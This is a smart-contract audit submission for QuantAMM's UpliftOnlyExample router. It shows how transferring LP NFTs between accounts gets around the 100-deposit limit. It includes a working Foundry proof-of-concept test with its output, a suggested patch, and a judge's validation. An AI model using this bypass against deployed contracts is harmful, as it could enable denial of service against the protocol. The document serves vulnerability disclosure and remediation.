QuantAMM

QuantAMM
49,600 OP
View results
Submission Details
Severity: medium
Valid

Malicious Users could add liquiditiy more than 100 times. Vulnerability exposes the contract to a potential DDoS attack.

Summary

The UpliftOnlyExample contract allows malicious users to add liquidity to the pools more than 100 times. As it can be seen in the code snippet below, the addLiquidityProportional function of the contract allows the sender to add liquidity to the pools. Indeed the function does check that the sender can add liquidity to the pools only limited number of time. The expectation was to limit senders up to 100 times to add liquidity to the pool. However, a feature of the contract allows malicious users to add liquidity to the pools more than 100 times. This could make the contract vulnerable to DDoS attacks. The attacker could add liquidity to the pools more than 100 times and disrupt the contract's intended functionality.

The attacker can exploit this vulnerability anytime if the attacker has knowledge of this vulnerability. Attacker only has to pay some fee (very few) at the end when the attacker removes the liquidity. This could be a potential issue and the attacker could exploit this vulnerability to disrupt the contract's intended functionality, as the attacker knows that all the added liquidity can be recovered at the end.

Vulnerability Details

The buggy issue is the tranfer of the NFT token to someone else. This feature introduces a potential vulnerability to the contract. An attacker can transfer the NFT token to another user (actually attacker will pretend to be another user) and then the attacker can add liquidity to the pool more than 100 times.

see the code snippet below:

UpliftOnlyExample.sol::addLiquidityProportional:

function addLiquidityProportional(
address pool,
uint256[] memory maxAmountsIn,
uint256 exactBptAmountOut,
bool wethIsEth,
bytes memory userData
) external payable saveSender(msg.sender) returns (uint256[] memory amountsIn) {
// @info: currently users can add liquidity to the pools 101 times.
// which is a nuance and we're aware of it.
@> if (poolsFeeData[pool][msg.sender].length > 100) {
revert TooManyDeposits(pool, msg.sender);
}
.
.
.
}

Above we can see atleast there's a check to limit the users to avoid adding liquidity to the pools more than 100 times or 101 times actually. But the issue is that the attacker can transfer the NFT token to another user and then the attacker can add liquidity to the pool more than 100 times.

see the code snippet below:

LPNFT.sol::_update: (an override function)

function _update(address to, uint256 tokenId, address auth) internal override returns (address previousOwner) {
previousOwner = super._update(to, tokenId, auth);
//_update is called during mint, burn and transfer. This functionality is only for transfer
if (to != address(0) && previousOwner != address(0)) {
//if transfering the record in the vault needs to be changed to reflect the change in ownership
@> router.afterUpdate(previousOwner, to, tokenId);
}
}

Let's say the attacker transfers the NFT token to another user, so after that above code snippet will be executed and the afterUpdate function will be called. The afterUpdate function is a public function only callable by LPNFT contract and it allows the attacker to add liquidity to the pool more than 100 times.

Above _update function override's super call has changed the ownership of the NFT. Now only records need to be updated...

see the code snippet below:

UpliftOnlyExample.sol::afterUpdate:

function afterUpdate(address _from, address _to, uint256 _tokenID) public {
if (msg.sender != address(lpNFT)) {
revert TransferUpdateNonNft(_from, _to, msg.sender, _tokenID);
}
address poolAddress = nftPool[_tokenID];
if (poolAddress == address(0)) {
revert TransferUpdateTokenIDInvaid(_from, _to, _tokenID);
}
int256[] memory prices = IUpdateWeightRunner(_updateWeightRunner).getData(poolAddress);
uint256 lpTokenDepositValueNow = getPoolLPTokenValue(prices, poolAddress, MULDIRECTION.MULDOWN);
FeeData[] storage feeDataArray = poolsFeeData[poolAddress][_from];
uint256 feeDataArrayLength = feeDataArray.length;
uint256 tokenIdIndex;
bool tokenIdIndexFound = false;
//find the tokenID index in the array
for (uint256 i; i < feeDataArrayLength; ++i) {
if (feeDataArray[i].tokenID == _tokenID) {
tokenIdIndex = i;
tokenIdIndexFound = true;
break;
}
}
// @info: see this block of code
// block doesn't have any check to limit the users to avoid adding/transferring liquidity to the pools more than 100 times.
@> if (tokenIdIndexFound) {
if (_to != address(0)) {
// Update the deposit value to the current value of the pool in base currency (e.g. USD) and the block index to the current block number
//vault.transferLPTokens(_from, _to, feeDataArray[i].amount);
feeDataArray[tokenIdIndex].lpTokenDepositValue = lpTokenDepositValueNow;
feeDataArray[tokenIdIndex].blockTimestampDeposit = uint32(block.number);
feeDataArray[tokenIdIndex].upliftFeeBps = upliftFeeBps;
//actual transfer not a afterTokenTransfer caused by a burn
@> poolsFeeData[poolAddress][_to].push(feeDataArray[tokenIdIndex]);
if (tokenIdIndex != feeDataArrayLength - 1) {
//Reordering the entire array could be expensive but it is the only way to keep true FILO
for (uint256 i = tokenIdIndex + 1; i < feeDataArrayLength; i++) {
delete feeDataArray[i - 1];
feeDataArray[i - 1] = feeDataArray[i];
}
}
delete feeDataArray[feeDataArrayLength - 1];
feeDataArray.pop();
}
}
}

The afterUpdate function updates the state of the contract and gives the attacker the ability to perform a DDoS attack.

PoC

The following code snippet demonstrates how the contract could be exploited to add/transfer liquidity to the pool more than 100 times:

Steps to reproduce:

  1. Go to the test folder inside pool-hooks folder then -> foundry folder -> UpliftExample.t.sol

  2. Add the following test snippet just below the setUp function in the UpliftExample.t.sol file:

function testAddLiquidityBypassDepositLimitDemon() public {
// Let's say a user called (Devil) wants to bypass the deposit limit in order to
// perform a DDoS attack on the system. The system should be able to handle this.
// Devil owns Alice and Bob's accounts, just pretending to be different users.
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
uint256 bptAmountDeposit = bptAmount / 150;
// Devil pretends to be Alice, adds Liquidity max to 101 deposits
// also utlizing bug in the system to bypass the limit by 1
vm.startPrank(alice);
// 0-100 inclusively is 101 deposits
// yes i'm aware of more than 100 deposits, but this is a test
for (uint256 i = 0; i <= 100; i++) {
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmountDeposit, false, bytes(""));
skip(1 days);
}
vm.stopPrank();
// Devil again pretends to be Bob, adds Liquidity max to 101 deposits
// also utlizing bug in the system to bypass the limit by 1
vm.startPrank(bob);
// 0-100 inclusively is 101 deposits
for (uint256 i = 0; i <= 100; i++) {
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmountDeposit, false, bytes(""));
skip(1 days);
}
LPNFT lpNft = upliftOnlyRouter.lpNFT();
for (uint256 i = 101; i < 202; i++) {
// lpNft.approve(address(upliftOnlyRouter), i + 1); // redundant with the testing context
// now Devil transfers all the deposits from bob to alice
// now devil has a account with disproportionate deposits of 202 collectively
lpNft.transferFrom(bob, alice, i + 1);
}
vm.stopPrank();
UpliftOnlyExample.FeeData[] memory alicePoolFeeData = upliftOnlyRouter.getUserPoolFeeData(pool, alice);
console.log("alice's poolFeeData length: ", alicePoolFeeData.length);
assertEq(alicePoolFeeData.length, 202, "can't deposit more than 100 deposits in any way");
// Now guess what?
// Devil is all set to perform a DDoS attack on the system
// if he would need more deposits, he can just repeat the process
// and transfer all the deposits to his one attacker account
}
  1. Please read the comments in the code snippet to understand the test case.

  2. Now run the test cases using the following command: (Make sure you are in the pool-hooks directory)

forge test --mt testAddLiquidityBypassDepositLimitDemon -vv
  1. As we can see in the output, the contract allows the sender to add/transfer liquidity to the pool more than 100 times.

[⠢] Compiling...
No files changed, compilation skipped
Ran 1 test for test/foundry/UpliftExample.t.sol:UpliftOnlyExampleTest
[PASS] testAddLiquidityBypassDepositLimitDemon() (gas: 385454817)
Logs:
alice's poolFeeData length: 202
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 242.56ms (216.13ms CPU time)
Ran 1 test suite in 244.64ms (242.56ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

  1. The attacker can add/transfer liquidity to the pool more than 100 times.

  2. The contract is vulnerable to DDoS attacks.

  3. A malicious actor who has knowledge of this vulnerability could add/transfer liquidity to the pool more than 100 times and could gain the advantage of a DDoS attack.

  4. Attacker can perform a DDoS attack at any time because the attacker knows that all the added liquidity can be recovered at the end. Attacker has to pay only some fee at the end when the attacker removes the liquidity, the attacker will get all the added liquidity back.

  5. Vulnerability breaks the add liquidity invariant, which is:
    lim(m→100) [PFD ← l] = liquidity_added_in_the_pool

    where:
    m = multiplier (initially 1, increasing to 100)
    l = desired liquidity to add
    PFD = pool fee data
    ← represents pushing or adding liquidity

Tools Used

  1. Foundry (Framework)

  2. Manual Review

  3. fuzz testing

Recommendations

The solution is simple and straightforward. The contract should limit the sender to add/transfer liquidity to the pools only 100 times. The following code snippet demonstrates the solution:

function afterUpdate(address _from, address _to, uint256 _tokenID) public {
if (msg.sender != address(lpNFT)) {
revert TransferUpdateNonNft(_from, _to, msg.sender, _tokenID);
}
address poolAddress = nftPool[_tokenID];
if (poolAddress == address(0)) {
revert TransferUpdateTokenIDInvaid(_from, _to, _tokenID);
}
int256[] memory prices = IUpdateWeightRunner(_updateWeightRunner).getData(poolAddress);
uint256 lpTokenDepositValueNow = getPoolLPTokenValue(prices, poolAddress, MULDIRECTION.MULDOWN);
FeeData[] storage feeDataArray = poolsFeeData[poolAddress][_from];
uint256 feeDataArrayLength = feeDataArray.length;
uint256 tokenIdIndex;
bool tokenIdIndexFound = false;
//find the tokenID index in the array
for (uint256 i; i < feeDataArrayLength; ++i) {
if (feeDataArray[i].tokenID == _tokenID) {
tokenIdIndex = i;
tokenIdIndexFound = true;
break;
}
}
if (tokenIdIndexFound) {
if (_to != address(0)) {
// Update the deposit value to the current value of the pool in base currency (e.g. USD) and the block index to the current block number
//vault.transferLPTokens(_from, _to, feeDataArray[i].amount);
feeDataArray[tokenIdIndex].lpTokenDepositValue = lpTokenDepositValueNow;
feeDataArray[tokenIdIndex].blockTimestampDeposit = uint32(block.number);
feeDataArray[tokenIdIndex].upliftFeeBps = upliftFeeBps;
+ if (poolsFeeData[poolAddress][_to].length >= 100) {
+ revert TooManyDeposits(poolAddress, _to);
+ }
//actual transfer not a afterTokenTransfer caused by a burn
poolsFeeData[poolAddress][_to].push(feeDataArray[tokenIdIndex]);
if (tokenIdIndex != feeDataArrayLength - 1) {
//Reordering the entire array could be expensive but it is the only way to keep true FILO
for (uint256 i = tokenIdIndex + 1; i < feeDataArrayLength; i++) {
delete feeDataArray[i - 1];
feeDataArray[i - 1] = feeDataArray[i];
}
}
delete feeDataArray[feeDataArrayLength - 1];
feeDataArray.pop();
}
}
}

The above solution limits the sender to add/transfer liquidity to the pools only 100 times. Therefore, enhancing the security of the contract.

Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_afterUpdate_does_not_check_limit_NFT_per_user

Likelihood: Medium/High, anyone can receive an unlimited NFT number but will cost creation of LP tokens and sending them. Impact: Low/Medium, DoS the afterUpdate and addLiquidityProportional but will be mitigable on-chain because a lot of those NFT can be burn easily in onAfterRemoveLiquidity.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!